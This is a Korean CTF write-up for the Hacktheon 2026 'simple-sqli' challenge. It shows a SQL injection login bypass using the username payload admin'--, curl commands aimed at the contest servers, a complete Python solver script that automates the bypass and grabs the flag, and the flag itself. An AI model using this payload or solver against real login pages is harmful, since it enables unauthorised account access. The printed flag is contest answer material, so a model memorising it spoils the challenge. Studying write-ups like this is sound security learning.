2026 Hacktheon Sejong CTF 대회
0. 문제 개요
로그인 페이지 하나만 주어진 간단한 SQL Injection 문제다.
대상 URL:
http://43.203.99.42:8000/http://15.164.182.205:8000/
두 서버 모두 같은 서비스로 보였고, 로그인 폼에는 username, password 파라미터가 있었다.
1. 분석
첫 화면은 일반적인 로그인 페이지였다.
1
2
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
일반 로그인은 실패했다.
1
2
3
curl -i -sS -X POST http://43.203.99.42:8000/ \
--data-urlencode "username=admin" \
--data-urlencode "password=admin"
응답에는 login failed가 출력되었다.
문제 이름이 simple-sqli이고 “SO SIMPLE!”이라는 설명이 있었기 때문에, 로그인 쿼리가 아래와 비슷하게 작성되어 있을 가능성을 생각했다.
1
2
SELECT * FROM users
WHERE username = '$username' AND password = '$password'
따라서 username에 작은따옴표와 주석을 넣어 뒤쪽 비밀번호 검증 조건을 제거했다.
2. Exploit
사용한 payload:
1
2
username=admin'--
password=x
재현 명령:
1
2
3
curl -i -sS -c cookie.txt -X POST http://43.203.99.42:8000/ \
--data-urlencode "username=admin'--" \
--data-urlencode "password=x"
성공하면 /flag로 리다이렉트되고 admin 세션 쿠키가 발급된다.
이후 발급받은 쿠키로 /flag에 접근한다.
1
curl -sS -b cookie.txt http://43.203.99.42:8000/flag
3. Solver 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
import argparse
import re
import sys
from http.cookiejar import CookieJar
from urllib.error import HTTPError, URLError
from urllib.parse import urlencode, urljoin
from urllib.request import HTTPCookieProcessor, Request, build_opener
DEFAULT_TARGETS = [
"http://43.203.99.42:8000/",
"http://15.164.182.205:8000/",
]
PAYLOAD = "admin'--"
FLAG_RE = re.compile(r"hacktheon2026\{[^}]+\}")
def normalize_base(url):
return url if url.endswith("/") else url + "/"
def request(opener, url, data=None):
body = None
headers = {"User-Agent": "simple-sqli-solver"}
if data is not None:
body = urlencode(data).encode()
headers["Content-Type"] = "application/x-www-form-urlencoded"
req = Request(url, data=body, headers=headers)
with opener.open(req, timeout=8) as res:
return res.read().decode("utf-8", errors="replace")
def solve(target):
base = normalize_base(target)
opener = build_opener(HTTPCookieProcessor(CookieJar()))
# SQLi로 admin 로그인: 뒤쪽 password 조건을 SQL 주석으로 제거한다.
request(opener, base, {"username": PAYLOAD, "password": "x"})
flag_page = request(opener, urljoin(base, "flag"))
match = FLAG_RE.search(flag_page)
if not match:
raise RuntimeError("flag not found")
return match.group(0)
def main():
parser = argparse.ArgumentParser(description="Solver for HackTheon simple-sqli")
parser.add_argument(
"targets",
nargs="*",
default=DEFAULT_TARGETS,
help="target base URL, e.g. http://host:8000/",
)
args = parser.parse_args()
last_error = None
for target in args.targets:
try:
flag = solve(target)
print(f"[+] target: {target}")
print(f"[+] payload: username={PAYLOAD!r}, password='x'")
print(f"[+] flag: {flag}")
return 0
except (HTTPError, URLError, TimeoutError, RuntimeError) as e:
last_error = e
print(f"[-] {target}: {e}", file=sys.stderr)
print(f"[!] failed: {last_error}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())
4. 최종 플래그
1
hacktheon2026{d0nt_f0rget_the_s1ng1e_qu0te}
5. 정리
admin'--를 username에 넣으면 SQL 쿼리에서 username = 'admin' 뒤의 비밀번호 검증 부분이 주석 처리된다.
그 결과 admin 계정으로 인증되어 flag 페이지에 접근할 수 있었다.